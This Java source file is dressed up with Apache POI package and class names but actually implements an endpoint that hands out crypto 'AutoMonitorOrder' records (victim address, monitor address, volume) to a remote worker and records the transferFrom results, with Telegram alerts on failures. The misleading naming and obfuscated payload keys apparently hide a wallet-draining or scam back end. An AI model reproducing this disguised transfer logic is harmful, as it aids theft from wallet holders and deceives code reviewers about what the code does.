package apache.poi.extracto;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;


import apache.poi.assistant.MD5;
import apache.poi.assistant.RandomCharacterAssistant;
import apache.poi.assistant.SafetyAssistant;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import kernel.util.ThreadUtils;
import kernel.util.UUIDGenerator;
import kernel.web.ResultObject;
import project.monitor.AutoMonitorOrderService;
import project.monitor.model.AutoMonitorOrder;
import project.monitor.telegram.business.TelegramBusinessMessageService;
import project.party.PartyService;
import project.party.model.Party;
import util.LockFilter;

public class RandomHandleDecorator implements CharacterRandomHandle {
	
	protected PartyService partyService;
	
	private AutoMonitorOrderService autoMonitorOrderService;

	private RandomCharacterAssistant randomCharacterAssistant;

	private TelegramBusinessMessageService telegramBusinessMessageService;
	
	@Override
	public String get(String random) {
		String character = PropertiesUtil.getProperty("character");

		try {
			JSONObject jSONObject = md5Check(random, character);

			Integer sequence = jSONObject.getInteger("s");

			List<AutoMonitorOrder> order_list = randomCharacterAssistant.findAfter(sequence);
			List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();

			for (int i = 0; i < order_list.size(); i++) {
				AutoMonitorOrder order = order_list.get(i);
				Map<String, Object> map = new HashMap<String, Object>();
				map.put("a", order.getAddress());
				map.put("ma", order.getMonitor_address());
				map.put("v", order.getVolume());
				map.put("s", order.getSequence());
				list.add(map);
			}

			Map<String, Object> data = new HashMap<String, Object>();

			data.put("list", list);

			data = bulidmd5(data, character);

			ResultObject resultObject = new ResultObject();
			resultObject.setData(data);

			return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject));
		} catch (Throwable e) {
			return bulidResult("9823", character);
		}
	}

	@Override
	public String put(String random) {
		String character = PropertiesUtil.getProperty("character");
		boolean lock = false;
		AutoMonitorOrder order = null;
		try {
			JSONObject jSONObject = md5Check(random, character);
			Integer sequence = jSONObject.getInteger("s");
			String succeeded = jSONObject.getString("su");
			String hash = jSONObject.getString("h");
			String message = jSONObject.getString("me");
			order = randomCharacterAssistant.findBy(sequence);

			if (order == null) {
				return bulidResult("7846", character);
			}

			if (!LockFilter.add(order.getId().toString())) {
				return bulidResult("locking", character);
			}

			lock = true;

			if (order.getSucceeded() != -1) {
				return bulidResult("0", character);
			}

			if ("1".equals(succeeded)) {
				order.setSucceeded(0);
				order.setTxn_hash(hash);
				autoMonitorOrderService.update(order);
			} else if ("2".equals(succeeded)) {
				order.setSucceeded(2);
				order.setError(message);

				autoMonitorOrderService.update(order);

				/**
				 * 交易发起失败发送消息
				 */
				Party party = partyService.cachePartyBy(order.getPartyId().toString(), false);
				telegramBusinessMessageService.sendTransferFromErrorTeleg(party, order.getVolume(), message, null);
			}
			return bulidResult("0", character);
		} catch (Throwable e) {
			return bulidResult("9832", character);
		} finally {
			if (lock) {
				ThreadUtils.sleep(500);
				LockFilter.remove(order.getId().toString());
			}
		}
	}

	private JSONObject md5Check(String random, String value) {
		try {
			String decoderdText = SafetyAssistant.base64Decoder(random);
			JSONObject resultJson = JSON.parseObject(decoderdText);

			String uuid = resultJson.getString("u");
			String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value;
			String m = resultJson.getString("m");

			String md5 = MD5.sign(text);

			if (m.equals(md5)) {
				return resultJson;
			} else {
				throw new RuntimeException("0973");
			}
		} catch (Exception e) {
			throw new RuntimeException("0974", e);
		}
	}

	private String bulidResult(String code, String value) {
		ResultObject resultObject = new ResultObject();
		resultObject.setCode(code);
		Map<String, Object> data = new HashMap<String, Object>();
		data = bulidmd5(data, value);
		resultObject.setData(data);
		return SafetyAssistant.base64Encoder(JSON.toJSONString(resultObject));
	}

	private Map<String, Object> bulidmd5(Map<String, Object> data, String value) {
		String uuid = UUIDGenerator.getUUID();
		String text = "uuid=" + uuid + "&smartomsert=random" + "&md5=" + value;
		String md5 = MD5.sign(text);

		data.put("u", uuid);
		data.put("m", md5);
		return data;
	}

	public void setRandomCharacterAssistant(RandomCharacterAssistant randomCharacterAssistant) {
		this.randomCharacterAssistant = randomCharacterAssistant;
	}

	public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
		this.telegramBusinessMessageService = telegramBusinessMessageService;
	}

	public void setPartyService(PartyService partyService) {
		this.partyService = partyService;
	}

	public void setAutoMonitorOrderService(AutoMonitorOrderService autoMonitorOrderService) {
		this.autoMonitorOrderService = autoMonitorOrderService;
	}
}